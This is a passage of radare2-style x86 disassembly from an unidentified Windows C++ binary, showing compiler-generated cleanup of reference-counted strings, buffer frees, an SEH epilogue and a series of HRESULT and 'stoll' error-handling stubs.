je 0x40b5d7
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x58e88c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x73
call fcn.0042ce30
test al, al
jne 0x40b018
push 0
push 0x58e88c
lea ecx, [ebp - 0x18]
call fcn.0042d150
mov byte [ebp - 4], 0x74
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b5e1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x58e88c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x75
call fcn.0042ce30
test al, al
jne 0x40b05c
push 0
push 0x58e88c
lea ecx, [ebp - 0x20]
call fcn.0042d150
push ecx
mov byte [ebp - 4], 0x76
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x9c]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00443520
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x77
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042c560
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.00443520
add esp, 4
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x78
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x20]
push ecx
mov ecx, eax
call fcn.00454430
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b0e0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b0fb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b116
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x18]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b131
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b14c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x84]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b16a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x74]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b185
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x88]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b1a3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x68]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b1be
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x6c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b1d9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x12c]
cmp ecx, 8
jb 0x40b219
mov edx, dword [ebp - 0x140]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b20f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b5eb
push ecx
push edx
call fcn.00547d61
add esp, 8
mov ecx, dword [ebp - 0x144]
cmp ecx, 8
jb 0x40b259
mov edx, dword [ebp - 0x158]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b24f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b5eb
push ecx
push edx
call fcn.00547d61
add esp, 8
mov ecx, dword [ebp - 0x15c]
cmp ecx, 8
jb 0x40b299
mov edx, dword [ebp - 0x170]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b28f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b5eb
push ecx
push edx
call fcn.00547d61
add esp, 8
mov edx, dword [ebp - 0xb8]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b2b4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xbc]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b2cf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b2e9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa4]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b306
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa0]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b323
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x174]
cmp ecx, 8
jb 0x40b363
mov edx, dword [ebp - 0x188]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b359
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b5eb
push ecx
push edx
call fcn.00547d61
add esp, 8
mov ecx, dword [ebp - 0x114]
cmp ecx, 8
jb 0x40b3a3
mov edx, dword [ebp - 0x128]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b399
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b5eb
push ecx
push edx
call fcn.00547d61
add esp, 8
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b3c0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x70]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b3da
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x9c]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b3f7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x94]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b414
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x98]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b431
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x40b446
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 5
call fcn.005310e5
call fcn.00424270
push str.stoll_argument_out_of_range
call fcn.00530c19
push str.invalid_stoll_argument
call fcn.00530bd9
call fcn.0042d060
push 0x80070057
call fcn.0042d130
dec eax
push 6
mov dword [edi + 0x2c], eax
call fcn.005310e5
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
call fcn.0054e90e
push 6
mov dword [ebp - 0x8c], 0
call fcn.005310e5
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
push 0x80004005
call fcn.0042d130
call fcn.0054cd4f
int3